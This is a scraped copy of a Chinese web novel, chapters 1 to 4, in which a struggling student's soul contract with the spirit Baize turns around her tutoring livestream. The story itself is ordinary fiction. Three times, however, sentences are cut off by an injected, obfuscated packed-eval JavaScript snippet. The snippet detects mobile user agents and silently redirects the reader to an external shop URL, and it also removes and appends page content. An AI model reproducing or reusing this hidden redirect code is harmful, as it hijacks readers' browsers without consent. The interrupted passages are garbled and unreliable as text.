《捡来的神明他又争又抢》 1. 第 1 章 “一年内,你会成为有钱人。” 彼时,安随正拿着一本画着白泽画像的书翻看着,下面的简介写着白泽知天下精怪之事,能预测未来,还能驱邪,简直无所不能。想着自己目前的窘迫,脑子里便突然冒出一个念头:“白泽啊白泽,我会成为有钱人吗?” 本不是个正式的愿望,自己也没有多么诚心,没想到竟真的听到了回复。 一瞬间,安随还以为自己听错了,环顾了一圈,见周围一个人也没有,才又把注意力转回了书上 她试探着问:“刚才是你在说话吗?白泽?” “不要直呼本君名讳,唤本君神君。”那个声音显得有些有气无力,听着一脸生无可恋,但还是固执地纠正。 安随一听就有点兴奋了,把书卷成了一卷,追问道:“那神君,我能变得多有钱?” “别!捏!”白泽的声音听着有点咬牙切齿,几乎是挤出来的,“你,想,多,有,钱?” “哦哦。”安随连忙将书展开,小心翼翼地抚开褶皱,过了会儿才试探性地问,“那,我想先拥有一个亿可以吗?” “一个亿?”白泽不由冷嗤,“梦里比较快。” 安随觉得这神君有点喜怒无常,但也知道自己的愿望有点离谱,便也没有再纠结,而是继续追问道:“我要怎么做才能成为有钱人?” “很简单。”白泽的声音似乎恢复了些力气,听起来没有那么慵懒了。 “首先,你得和本君签订灵魂契约。” “啪——” 刚刚被抚平的书本被一把扔在书柜上,又“吧唧”一声掉在地上。 “你做什么?”白泽气急败坏道。 “哪里来的妖怪?居然在这里蛊惑人心!看我不找个道士把你收了!” “区区蝼蚁也想动本君?” “哦?那被你眼中的蝼蚁踩在脚下,是什么感觉?”安随一脚踏上那本书,耳边传来白泽的怒吼声。 “人类!你完了!” “现在是你要完了!” 安随一把把书捏在手里,快步去了收银台,将这本书付了钱后便离开了书店。 安随进了旁边的公共厕所,将书撕成了碎片,然后将碎片从蹲厕里冲了下去。 听着哗啦啦的水流声,耳边再也没有了那个多余的声音,安随这才有点后怕。 刚才她竟然差点信了一个妖怪的话,还好最后把持住了。 妖怪果然会蛊惑人心。 想她堂堂一个二十一世纪女大学生,又没做过什么坏事,怎么会遇到妖怪呢? 看着被冲得干干净净的蹲厕,安随突然又有点怀疑,那个妖怪真的被她消灭了吗? 似乎有点过于简单了。 直到安随出了公厕,回到书店,都再也没有听到那个声音。 那个妖怪,应该是被她消灭了,吧? 想想觉得很神奇,她不仅遇到了妖怪,还举手抬足间就把他消灭掉了,突然就觉得自己有点子厉害了怎么办? 安随回到书店,继续整理书籍。 是的,她在书店兼职,刚才整理书籍的时候,只是好奇之下翻开那本书,没想到就遇到妖怪。为了不让他祸害别人,这才把书买下去厕所处理,老板还问她为啥买书,在店里一样能看,她只说是帮别人买的搪塞过去。 对于这段除妖的经历,安随是准备烂在肚子里的,毕竟这种事太玄学了,说出去也不会有人相信。 今天周末,来书店看书买书的人有点多,安随快八点才下班。 回学校的路上要经过一段幽深的巷子,平常的时候,安随都是快步走的,今天也不例外。因着是黑夜,巷子里只有路边忽明忽暗的路灯闪烁着,将她的影子拉得老长,映在墙壁上,看着竟有点吓人。 安随平日里算是胆子大的,平时走这条路从没有其他感觉,自从今天遇到那个妖怪后,心里便产生一股奇怪的感觉,总觉得那灯影之下,随时都会蹦出一个妖怪来。 安随将手机手电筒打开,快步往前走,到了后面几乎是狂奔过去的。这条巷子并不长,大概只有两百米,白天没什么感觉,但一到晚上,所有感官都被放到最大,周围的寂静中,似乎隐藏着什么猛兽一般,随时都有可能跳出来。 但今天的巷子,似乎格外得长。 安随走了快五分钟也没走出去,而前方依然是黑漆漆的一片,似乎永无尽头。 安随心里涌现出一股不详的预感来。 几乎没有犹豫,她开始往回跑。心里只有一个念头:赶紧离开这个巷子! 但来时的路似乎也没那么顺利了,往回跑了有五分钟,她竟然还没走出去。 安随意识到,她似乎陷入了鬼打墙中。 肯定是那个妖怪作祟! 安随几乎咬碎了一口牙。 专业的事还是得找专业的人来干,她就该找个道士把那妖怪收了! 但现在说什么也无济于事了。 安随停了下来,准备保存些体力。而大脑也开始飞速运转,想着怎么脱离困境。 她一停下来,风声也跟着停下来了,周围除了黑,还有一片死寂。 “神君?”安随试探性地开口。 没有人回答她。 难道是她猜错了? “神君是你吗?”她又喊了一声。 依然没有人回答她。 “嘻嘻嘻——” 此时,一个刺耳的尖笑声骤然在黑夜里响起,吓得安随一激灵,肾上腺素顿时飙升。 “人类真有趣,这皮囊也好看得紧,放在人类身上有点可惜了,不如给我用用吧!” “???” 安随满脑子问号,这又是从哪冒出来的妖怪? 什么时候锦城妖怪那么多了? 但眼下也不是吐槽的时候,而是要想办法保住自己的命。 这个妖怪和白泽的需求又不一样,只想要好看的皮囊,她只要说服妖怪她的皮囊不好用,问题应该就能迎刃而解。 安随脑子转得飞快,很快想好了措辞。 “这位大仙,您是第一次来到人间吧?” “哼哼哼,是又如何?” 安随一听有戏,心里一喜,但面上却露出谄媚的笑:“那您是没见过更多好看的皮囊,我这算是在人类里最差的了。” “是吗?”那女妖半信半疑,追问道,“哪里还有更好看的皮囊?” “人类都长得好看呀,我这普通得不能再普通了,您要是想要找好看的,那得挑花了眼,不如您多去挑一挑看一看,说不定就能遇到合自己心意的了。” 那女妖没说话,似乎在思考这话的可信度。 长时间的沉默让安随心里也有些不安,这女妖会不会信她的话啊?只要能把她忽悠走,后面再去找道士来收她,省得她祸乱人间。 “你说得对,我是该好好去看看这人间。”女妖似乎信了她的说辞。就在安随心里暗喜时,却听到女妖话锋一转,“不过,谁说我只能拥有一副皮囊了?我先用你的,用腻了再换其他人的,岂不美哉?“ 这女妖好狡诈! 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615719|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随心里念头刚一起,便觉得一股凌厉的风朝她耳边刮来,随后一阵剧痛袭来,朦胧间看到一个长相丑陋青面獠牙的怪物出现在眼前。 那一瞬间,安随心里只有一个念头。 果然太丑了,怪不得她想找好看的皮囊。 随后整个人便陷入了黑暗。 安随做了一个梦,梦里都是些小时候的记忆。 有人说日有所思,夜有所梦,但那些记忆早就被她尘封在角落,不知道今天怎么突然梦见了。 她梦见自己被几个邻居家的小孩揍得哇哇直哭,妈妈出来把那些小孩都撵跑了,随后牵着受伤的自己去了诊所检查。虽然看着不严重,但是那些人下手没轻重,打人真疼啊! 从诊所里面出来以后,她和妈妈一起回家,路上妈妈跟她讲,以后被欺负了要揍回去,绝不能害怕,她要学会保护自己,妈妈不会一直在她身边保护她。 在她说这话的时候,周围响起了刺耳的刹车声,一道白光从眼前闪过,她整个人被推倒在地,刚刚接好的手似乎又脱臼了。她正要喊疼时,却抬眼看到了妈妈躺在了自己眼前,昏迷不醒。 在最后关头,妈妈一把把她推开了。 她被吓坏了,坐在那里一动不动。 那司机也被吓坏了,连忙下来看两人的状况,随后拨打了急救和报警电话,还跑过来安慰她:“小妹妹别怕,医生很快就来了,你妈妈不会有事的。” 她说话的时候声音也在抖,也不知道是在安慰小小的安随,还是在安慰自己。 “喂,醒醒。” 是谁在说话?好吵! “再躺下去你要被冻死了。” 死?不,她不能死。 眼皮十分沉重,安随费了吃奶的力气,才渐渐睁开眼睛。 依然是在那条巷子里,不过却不见那女妖的身影。难道被她得逞,占了她的皮囊? “想什么呢?本君可不想让那丑八怪污了眼睛,她已经被本君除掉了。” 安随这才意识到这声音有点耳熟,这,不是白泽的声音吗? 他竟然真的没死,还杀了那女妖。 有点子厉害啊! “嗤——你现在知道本君的厉害了吧!就你那点把戏还想让本君死!”白泽说着,想到之前的遭遇,现在心里还直犯恶心。 “你真是好手段,居然把本君扔到那么腌臜的地方!” 安随意识到他说的是把他冲进厕所里,想到刚才应该是他救了她,心里便有点过意不去;“对不起啊,我也是为了自保,你说要和我灵魂契约,我自然害怕啊,一听这就不是什么好词。” “所谓灵魂契约,便是与本君互通五感,以信仰之力供养本君,本君在得到供养的同时,也会达成你的心愿。” “没什么副作用吧?”安随听他一解释,感觉勉强能接受,但还是有些不放心,便追问道。 “没有,吧……”最后那个字几乎听不见。 白泽也有点不确定,毕竟他从未和人类签过灵魂契约,自然不知道有没有什么副作用。但千万年来,白泽庙里供奉他的人络绎不绝,也没见谁出现什么不好的事情。 所以,大抵是没有坏处的。 安随一听,这才放下心来。只是供养他,想来就是给他买香火,现在丧葬都提倡火化,香烛店都快倒闭了,想来买点香烛纸钱还是能承受的起。 虽然有点肉痛,但一想到自己只要付出极小的代价,便能博一个亿的机会,便觉得那点香烛钱不算什么了。 “好,我答应和你签契。” 2. 第 2 章 结契的过程并不复杂。 安随跟着白泽的指令闭上眼睛,沉下心来。一瞬间,安随觉得脑子也清醒了许多,似乎有什么东西强行想要挤占她的灵魂,但那不适感只维持了一会儿便消失了。 再睁开眼时,周围似乎变得吵闹起来,隐隐有人声传来。 但目光所及之处,并没有看到其他人。 正疑惑时,白泽说话了:“契约已成,从今天开始,你的五感被放大,看到听到的都比以前的范围大。” “所以,我这是拥有了千里眼和顺风耳?”安随只觉得这种感觉很奇妙,周围的人声虽听不真切,却是实实在在能听到的,和之前的寂静完全不一样。连远处的灯火好像也离她更近了。 “想多了,最多百米范围。”白泽打破了她的妄想。 “哦。”安随也不失望,毕竟这算白得的,有总比没有好。 “那接下来,我该干什么?” “回家。” “啊?还要回家才能继续吗?不能一次性搞完?” “你不困?本君困了,要睡觉。” 安随:“……” 现在才不到十点,睡得太早了吧也!她还得回去直播呢。 “什么直播?”白泽问。 这是个新鲜的名词,他以前从未听说过。 “直播学习。”安随老老实实回答。 虽然没几个人看,但她还是坚持播。她坚信只要播得久,总会有人看到她的。 白泽一听便不困了,甚至还被提起了兴趣:“你回去直播,让本君看看。” 回去的路没再出现什么波折,回到宿舍,其他人都还没回来。安随爬上床,熟练地放好桌子和书本,安好手机支架,调试好角度,然后点开速音app,开启直播。 因为是在宿舍,不敢说话声音大了,平常安随都是戴着耳机,边看书边看弹幕区,生怕错过了别人的提问,虽然至今也没有人问过她一道题。 白泽透过安随的眼睛看到她一系列的准备工作,直到她停下来以后才问道:“什么时候直播?” 安随:“已经开始了。” 白泽虽然没有接触过这些东西,但是透过安随的肢体也能感受到那种熟悉感,不由感叹,人类世界发展得竟然如此之快,早就将别的世界远远甩在身后了。 白泽:“直播要做些什么?” 安随:“我可以在线辅导作业,还可以陪伴学习。” 说着,安随便点开简介,上面写着:“985大一学生,在线辅导小初高作业。也可以陪学,让你沉浸在知识的海洋中。”粉丝只有可怜的19个,这还包括互关的那些。 白泽:“直播看的人多吗?” 安随叹气:“个位数,有的时候一个也没有。” “那么惨?其他人呢?” “头部主播在线人数上百万,我连人家一个零头都没有。”安随有些沮丧。 直播好难,赚钱好难,生活好难…… “或许,你可以改一改。”白泽基本上已经摸清了直播的概念,甚至悟出点东西来。 他可以通过直播吸引粉丝,这样转化的信仰之力也会多点,他也能早日恢复。 “怎么改?” “首先,你得取个好听的名字。” “叫什么?” “就叫:白泽在线陪学,带你考985。” “……安学姐在线辅导学习不好吗?” “没有特点,不突出。” 安随听他这么贬低自己取的名字,有些不服气:“你取得也不怎么样嘛?” “本君取得名字自然不一样。” 安随想了想,没和他继续争辩。虽然他取得也挺俗的,但谁让他是白泽呢?说不定真比自己取得好呢! 白泽现在已经能摸得到一点门道,做起来甚至比安随还得心应手。 “照我说的做,保你三天内粉丝上万。” 安随将信将疑地看着自己两位数的粉丝,低声叹了口气。 就这样吧,反正再糟糕也不会比现在更糟糕了。 于是,接下来,安随开始照着白泽说的去改。 直播间名字换了,头像也换成了白泽,甚至用户名称也换了。 安随见他全换成自己的,试图挣扎:“喂,你好歹给我留点啊,这成了你的直播了,和我有什么关系?” “留着你的,就能有粉丝?” 安随感觉自己受到一万点伤害。 到了最后,便只能认命,任凭白泽安排。 折腾了一个多小时,总算把所有的都改好了,此时,宿舍的人都陆陆续续回来了,时间也不早了,安随便下播,准备明天开始。 “我要睡觉了。”安随在心里说道。 “你睡吧。” “你不是早就困了?不睡觉?” “现在不困了。” 安随:“……” 安随不再理他,洗漱过后便躺下睡觉。 “喂,你刚才直播的那个工具给我玩一会儿。” “你说手机?” “对,手机,我要玩。” 安随将手机拿在手里,打了个哈欠:“别玩太晚,我明早还要上课。” “好……” 安随沉沉睡去,白泽开始主导她的意识。 这种感觉很奇妙,像两个人共用一个身体,但又不完全是。因为白泽没有实体,只是一缕残魂,灵力大打折扣,但在人类世界用也绰绰有余。 若不是为了快速恢复真身,白泽也不会选择与人类签订灵魂契约,这种方法虽然恢复快,但他只能和一个人签订,除非对方死了,契约才会自动失效。 对他来说太被动了。 但谁让他来到人类世界听到的第一个声音就是来自她呢?她的愿力太强了,他想不听到都难。 他没有时间选择其他人,只能选择她。 刚好他们各取所需,谁也不欠谁。 此刻的白泽正透过安随的身体,疯狂地利用手机吸收人类世界的文明。 他再次感叹人类大脑的奇妙,比妖界那些四肢发达头脑简单的妖好用多了。人界文明飞速发展,妖界还停留在人界古代农耕水平,甚至还自诩天下第一。若不是这次他从人类世界醒来,还不知道人界已经发展得如此繁华。 这一晚上,白泽疯狂地吸收知识,刷新自己的认知,手机屏幕几乎没熄过。直到手机自动关机,屏幕一片漆黑,怎么也点不亮,白泽这才恋恋不舍地放下。 第二天早上,安随顶着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615720|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双熊猫眼起床。 住在她对面的蒋栗问她:“安安,你昨晚几点睡的?我睡了都还看到你手机屏幕亮着。” 蒋栗是个夜猫子,基本上每天晚上都要玩到两三点才睡,她睡了安随都没睡,可想而知昨晚白泽玩得有多晚了。 安随强撑着眼皮:“我没注意时间。” “你要注意点身体,学习也不用那么用功啊,这离期末考试还早呢。”一旁的宋知冉也一脸关切地凑了过来。 安随是她们宿舍里学习最用功的那一个,进了大学本来大家都想放松放松,不想再吃高中的苦,现在又是大一,该吃的吃,该玩的玩,蒋栗因为长相明艳,性格又放得开,一进大学便如鱼得水,拥有众多追求者,男朋友已经换了两个。 宋知冉家境优渥,典型的乖乖女,家里管得严,高中三年都没有什么娱乐活动,这一到大学,便开始报复性玩乐,几乎把之前从未尝试过又特别想尝试的事情都做了个遍,也是很晚才回来。 还有一个室友孟与,本地人,几乎很少在宿舍睡觉,安随见她的次数一支手都能数过来。 安随,来自宁市一个偏远小镇,家境贫寒,衣服常年洗得发白,用着几百块的旧手机,贫困生,长相还可以,就是看着太苦了。 能不苦吗?每天为了省几块钱,早饭就吃一个馒头,中午也舍不得打肉,偶尔才吃一次改善生活。 最开始几个舍友还多打肉给她,美其名曰她们要减肥,让她帮忙吃,安随又岂能看不出她们的好意?只能委婉拒绝。 久而久之,她们也不再特殊照顾她,就这么顺其自然下去。 对于安随来说,顺其自然就是最好的状态。 她不需要被特殊照顾。 “嗯,知道了。”感受到来自室友的善意,安随也露出一个善意的笑容。 “安安你笑起来真好看,要多笑笑啊。”蒋栗看着她,都有些愣了。她以前怎么没发现这个室友这么好看呢?再打扮打扮,保证迷倒一片。 宋知冉推了推蒋栗:“走啦,去洗漱了,不然一会儿要迟到了。” 蒋栗还有些愣愣地,但还是跟着宋知冉去了厕所。 “你刚才推我干嘛?”蒋栗小声问。 宋知冉有些无语地看着自己的室友:“你夸人也夸到实处吧,对于安安来说,好看又不能当饭吃。” “哦,我明白了。”蒋栗恍然大悟,“那我以后就该在她赚到钱以后夸她。” “对嘛。”宋知冉满意地看着自己的室友终于和她一个脑回路了。 “悄悄跟你说,我那天看到安安在直播,名字叫安学姐在线辅导学习,都没什么人气,我偷偷关注她了,什么时候一起去给她加加人气。”宋知冉透过洗手间的门往外看了看,见安随没看过来,这才小声和蒋栗说着。 “你什么时候看到的?我怎么没看到过?她那性格也不像会直播的啊?”蒋栗挠了挠头发,感觉自己好像又out了。 “你每天的关注点都在帅哥上了,自然没注意到。”宋知冉给了她一个自行体会的眼神,把蒋栗看得老脸一红。 她承认,她最近在帅哥身上花的时间确实多了点。 两人便这么约定,等安随再次直播的时候就去给她冲人气,刷点礼物什么的。 3. 第 3 章 早上第一节课是高数,老师是个挺严肃的小老头,讲课听得人昏昏欲睡。蒋栗已经趴在最后一排睡上了,宋知冉努力听了会儿就跟不上节奏了,便也放弃玩起了手机,一旁的安随却听得津津有味。 白泽本也想努力听着,但是那一堆数字和公式听得他脑子都绕了几个圈,最后生无可恋地说道:“人类的大脑真神奇,这么复杂的东西是怎么想出来的?” “有没有可能是你们的脑子太简单了?”安随随口回道,突然意识到自己说了什么,连忙找补,“我的意思是,这种东西本来就比较复杂,是无数科学家共同研究的成果,而且是研究了很多年才有了今天的成绩,不是一个两个人短时间的努力能达到的。” 经过昨晚网上冲浪,白泽已经接受了妖界都是些头脑简单,想不出这么复杂东西的家伙这一事实,怪不得人界的动物都成不了精,除了这里灵气稀薄不适合修炼以外,和脑子不好使也有很大的关系。 白泽看到安随的两位室友都开始干其他的,只有她听得很认真,不由怀疑:“这么复杂的东西你真的听懂了吗?” “还行吧,虽然比高中数学难了点,但也没那么难。”毕竟她高中数学接近满分,比其他科都好。 白泽像看怪物一样看着她,有一瞬间他有点怀疑,她才是那个妖。 一整节课下来,白泽已经听得生无可恋了。早上就吃了一个馒头,周围的同学早餐都很丰富,五感互通后,他的嗅觉也变得格外敏锐,饭菜的香味直冲他鼻子,他忍不住嗅了嗅,却被安随一把捂住鼻子:“干嘛?那么多人看着呢。” “我也要吃,我饿。” “我都不饿,你怎么会饿?”安随无情地戳穿他。 白泽脸不红心不跳:“我不管,我就饿,一个馒头还不够塞牙缝。” 安随无视他的要求,吃了一个馒头就去上课了。 下课以后,肚子传来咕咕叫声。 一旁的宋知冉脚步顿了顿,随后和安随提议道:“安安,我们去楼上吃炒菜吧?好久没去吃了。” 蒋栗也附和道:“对啊对啊,我也想吃了。” 安随也停住脚步:“好……不用了,谢谢。” 白泽:“为什么不?我就要吃!我要控诉你虐待!” “闭嘴!” 宋知冉一把拉着她就往楼上走:“走吧,一起去吧,我们也好久没一块吃了。” 见另一只胳膊被蒋栗拉着,安随认命地叹了口气,随后被两人拉着上了楼。 两个室友点了四个菜,份量很大,三人吃绰绰有余。 安随默默地算着价格。 这一顿花掉她一个月的早饭钱,感觉吃得也不香了,但手上的动作却没停,毕竟现在的双手不受她控制。 “你能不能矜持点?你神君的姿态呢?” 白泽:“在美思面填,神君算个气。” “那你可要保佑我早日成为有钱人啊,到时候就有吃不完的美食。” 白泽:“小意思。” 一旁的两人见安随几乎狼吞虎咽,从刚开始的目瞪口呆,到最后变成了满眼的心疼。 安安这是多久没吃饱了,饿成这样? 两人心里决定,以后要多投喂安随,她拒绝也没用。 安随要是知道两个室友心里的想法,估计想把白泽揍一顿的心都有了。 她维持那么久的高冷独立形象,就这么毁于一旦。 吃完饭后,三人就回了寝室午休,下午只有一节课,四点下课安随便回了寝室准备直播。 还好她们都没回宿舍,不然一会儿看到她直播还有点尴尬。 安随在书店的兼职只上周末两天班,平常的时候安随便呆在寝室直播。最开始的时候安随会去图书馆找个安静的地方直播,但后来她发现另外两名室友下了课便不见踪影后,她便回宿舍直播了。 安随也不是没找过在外面的家教,但头一次去体验不怎么好,补课的学生是个正值青春期的高中生,学习不好,小动作不少,坐在那里几次想摸安随的手,她忍无可忍,拿书砸了他脑袋,趁他没回过神来时离开了。结果回来的路上钱包还被偷了,虽然兜里没几个钱,但证件都挺重要的,为此她还去补办了证件,几十的工本费就这么折腾没了。 安随之后便不出去当家教了,如果有的话也是让对方来学校或者在学校对面的咖啡馆,但对方嫌折腾,还嫌安随事多,久而久之自然没人找她补课。 安随虽然有些着急,但也不会打破自己的原则。 这条路不行就换条路,于是她找到了直播。 虽然线下补课不行,但她可以线上补课啊。 然而想象很美好,现实很骨感。 她直播至今已有一个月,一个找她补课的都没有。 眼见着用钱的地方越来越多,安随有些急了,这才见到白泽的时候病急乱投医。虽然她也不知道那个什么契约有没有副作用,但看白泽那副脑子不太好使的样子,应该不会诓她。 安随就这样答应了。 只不过能不能赚钱还得再看看,看今天的直播效果就知道了。 安随像往常一样打开直播,直播间名字明晃晃地顶着白泽的名字,连头像也换成了威风凛凛的白泽画像。 安随拿出课本,开始回顾今天老师讲的课程,屋子里静悄悄的,只能听到她偶尔的翻书声。 白泽也有些紧张。如果换做以前,他的能力毋庸置疑,但现在他的灵力损毁殆尽,只能靠与人类签订契约苟延残喘,他也不能确定这点灵力能不能维持他的能力。 四点半的时候,安随下意识地瞟了眼屏幕,这一看不要紧,却看到有人给她送100速币的礼物,还留言问她。 举个栗子:“主播可以辅导什么科目的作业啊?” 安随说话的声音都在抖:“小初高都可以辅导,主要是理科,因为我是理科生。” 举个栗子:“那可以辅导我高中数学吗?我这科最差啦。” 安随:“当然可以。” 举个栗子:“要怎么辅导啊?我把题发出来吗?” 安随:“可以。” 那头过了会儿才拍了张图片发过来,只不过看着却不像是书本上的,而是网上找的题。 安随也没多想,看了会儿题便有了思路,将答题思路说了一遍,那头听完说了声“谢谢”。 安随也不知道他懂没听懂,便问道:“我说的你能明白吗?主要是我第一次讲,不知道能不能让人听懂。” 举个栗子:“主播讲得很好啦,谢谢你~”说完,便又发了个100速币的礼物。 系统提示:小太阳进入直播间。 系统提示:小太阳送出500速币的礼物。 安随魂都快飞出来了。 幸福来得太突然了,如果白泽有实体,此刻她恨不得抱着他的额头亲个够,他就是她的幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615721|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运之神! 小太阳:“主播可以给我讲讲物理吗?我这科也很差。” 安随:“当然可以。” 小太阳接连问了好几个问题,安随除了一道题有点被难住外,其他的都能流畅地讲解出来。小太阳也不在意那一道题,接连刷了几个礼物算是回馈。 有了这两人的打样,后面的似乎都要顺利许多,接着又有两人进来让安随讲题,不过他们就没那么大方了,刷了10速币拥有粉丝灯牌。 安随也不在意,她现在就没几个粉丝,刷礼物都是其次的,最主要是积累粉丝。 一场直播下来,安随给十几个人讲了题,已经是她这么多天以来的最好战绩,粉丝也涨到了300,算是有了突破性进展。 但离1万还差得远呢。 她不禁有点担心,第三天真能达到这个数吗?不会是白泽在那说大话吧? 白泽先前还有些心虚,不过第一场直播下来,也算小有收获,他便知道他的能力还在。 白泽:“你这人类,莫要小瞧本君,本君可是这人间唯一的神。” “嗯嗯,唯一的神,那你为什么不现身让我等凡人瞻仰一下神的真容?”安随戏谑道。 白泽:“神的真容岂是尔等凡人想见就能见的?” 安随也不再逗她。 什么唯一的神,她才不信,要是真那么神奇,此刻他就不会寄居在她的身体里,连真身也不敢显现了。 但是他的能力倒是让她见识到了点,确实有点子运气在身上的。 安随刚下播没多久,蒋栗便打电话过来:“安安,我们在外面吃饭,要给你打包回来吗?” “我一会吃食堂,你们吃吧,不用给我打包。” 蒋栗:“我男朋友本来叫了他朋友的,结果他朋友不来了,某团上点的三人套餐,多了一份饭菜,我们两个人吃不完,不吃也浪费了,给你打包回来吧。” 安随叹了声气:“好,谢谢你,多少钱我转给你吧。” 蒋栗:“不用,反正也不是我付钱,他不会在意的,谈钱他反而不乐意。” 安随:“好吧。” 安随觉得,自从白泽出现,连她的室友也变得格外热情,让她有点招架不住。 半个小时以后,蒋栗把打包的饭菜放下后,又准备出去。 安随下意识地问她:“你还要出去吗?” 蒋栗有些受宠若惊,结结巴巴道:“我我我男朋友,在外面等我。” 安随:“行,那你早点回来,注意安全。” 蒋栗几乎同手同脚地出去了。 走到宿舍门口,和等在外面的宋知冉会合,蒋栗仍然感觉自己有些不真实。 蒋栗:“我跟你讲,安安刚才居然关心我了,她让我早点回来,注意安全。” 宋知冉好笑地看着她:“安安本来也会关心人,只是不会表达,有好几次我们回来晚了,她都欲言又止,我看得出来她是在担心我们。” 蒋栗不解:“那她怎么不说啊?我还以为她一点都不在意我们。” 宋知冉:“她性子就是那样,而且我们为了给她留私人空间,和她说话也少,她自然觉得和我们不是那么熟。” 蒋栗恍然大悟。 宋知冉挽着她的胳膊往外走:“走吧,女朋友,我们出去约会吧。” 蒋栗:“好啊,老公,陪我去逛街吧。” 宋知冉:“呕。” 4. 第 4 章 第二天早上是英语课,宿舍三人难得整整齐齐地到了教室,安随自不用说,她每节课都听得很认真。宋知冉英语本来就好,自然也听得进去。蒋栗却难得地没有玩手机,而是认认真真地听着课。 下课以后,蒋栗问宋知冉:“你有没有觉得今天老师讲的课特别容易懂?” 宋知冉:“有吗?我感觉还好。” 蒋栗还以为自己出现错觉了。 直到下一堂计算机基础课,先前还有些生硬难以理解的课,此刻听起来却茅塞顿开,老师只稍微提点便能迎刃而解。 蒋栗冉:“冉冉,你觉得这个好理解吗?” 宋知冉也有些惊了:“好像确实比之前容易理解多了。” 两个人面面相觑,也不知道发生了什么。但容易理解自然是好事,她们也不会深究。 一天课听下来,两人几乎没有走过神,全程都在认真听着。 于是当最后一节课的下课铃响,安随整理完书籍,侧头看到旁边的两人也在认真整理书籍时,也有些惊了:“你们……” 蒋栗二人相互看了一眼,几乎异口同声道:“我们觉得今天老师讲的内容特别好懂,所以听完了。” 有吗? 安随没什么感觉,她每节课都听得很认真,只要认真听,老师讲得基本上都能听懂,偶尔有几个知识点没那么容易理解,下课再问老师好了。今天的课都还好,她基本上都听懂了。 只是难得她两个室友也没有走神,而是全程听完了。 安随替她两个室友感到高兴,虽然现在是大一,大部分学生都还沉浸在高考结束的喜悦中,但她不能懈怠,她也希望她的两个室友也能好好听课,争取期末考出好成绩。 回去的路上,白泽突然说道:“她们应该是和你相处久了,所以沾染上一点你的因果。” “和这有什么关系?”安随不能理解。 白泽解释道:“你与本君签订契约,她们与你同住,离你最近,自然沾染上本君的一点气运。” “气运?”安随更不解了,“所以,和你相处久了,运气也能变好?” 她没看到书上说白泽还能给人带来好运啊? 白泽:“本君能预测未来,最初的时候,你问本君你能不能变成有钱人,本君看了你的未来,一年内你会变成有钱人,而现在,你的人生正往这个方向发展,而她们便是你通往这条道路上遇到的人,自然与你的因果有沾染。” “哦。”安随似懂非懂,但还是应了一声。 虽然她觉得他不怎么靠谱,但听他说她会成为有钱人,她还是挺高兴的。 当下,没有什么比这更令她高兴的事了。 吃完晚饭后,安随一如既往地上了直播。 无意中点开她的信息,竟然发现她的粉丝涨到了1000。 这中间发生了什么事? 安随不解。 在她开启直播没几分钟,便陆陆续续有人点进来。 其中有一个是昨天辅导过作业的网友。 种子要发芽呀:“主播你终于来了!我跟你讲,自从被你辅导过后,我发现我做其他作业思路都很清晰,以前觉得晦涩难懂的题现在轻轻松松就能理解了,你太牛了!” 系统提示:种子要发芽呀送出一枚火箭炮。 安随:!!! 真的有那么神奇吗? 安随想到白泽之前说的话,所以,不仅她的室友被她影响了,连她辅导过的网友也受影响了吗? 白泽:“本君修改了直播间的信息,他们应该是受了本君的影响。这个直播间,未来会变得越来越好。” 而他,也会吸收更多的信仰之力,离恢复真身也越来越近。 安随:“好吧。” 安随虽然有些小失望,但又很快释然,她现在的一切也是白泽给她的,没必要因为这患得患失,反正她不亏。 安随照常开始在评论区寻找辅导对象。 但今天评论区的人格外得多。 “主播主播,我语文差,帮我辅导一下吧!” “主播,我每科都需要辅导,你都帮我辅导吧,到时候我给你刷个嘉年华!” “喂,你小子过分了啊!那么多人都等着呢,凭什么你一个人占那么多时间?” “一个一个来,按照留言先后顺序!我最先留言,我先!” 系统提示:风过留痕送出一束玫瑰花。 风过留痕:“谁跟你说要看谁先留言的?想要主播辅导?礼物刷起来!” “奸诈小人!” 系统提示:我最帅送出一辆自行车。 我最帅:“不就是礼物吗?谁没有似的。” 系统提示:巴拉巴拉送出一架飞机。 巴拉巴拉:“有飞机要什么自行车呀?姐姐康康我呀~” …… 安随目瞪口呆地看着不停刷礼物的众人,各个都争着想要被安随第一个辅导。 “那个。”安随吞了吞口水,“要不我弄个连麦?谁连到就给谁辅导。” “行。” “可以。” 评论区总算达成了一致。 安随点开连麦,第一个连上的是风过留痕。 安随直播并没有露脸,摄像头对着课本。视频点开,对面露出一张稚嫩的脸,但很快又翻转镜头对着书桌上的习题了。 风过留痕:“主播主播!我是第一个连上的!” 风过留痕应该是处于变声期,声音听着跟鸭子叫声一样,还特别洪亮。他的声音听着有些激动,显然对自己第一个连上麦特别高兴。 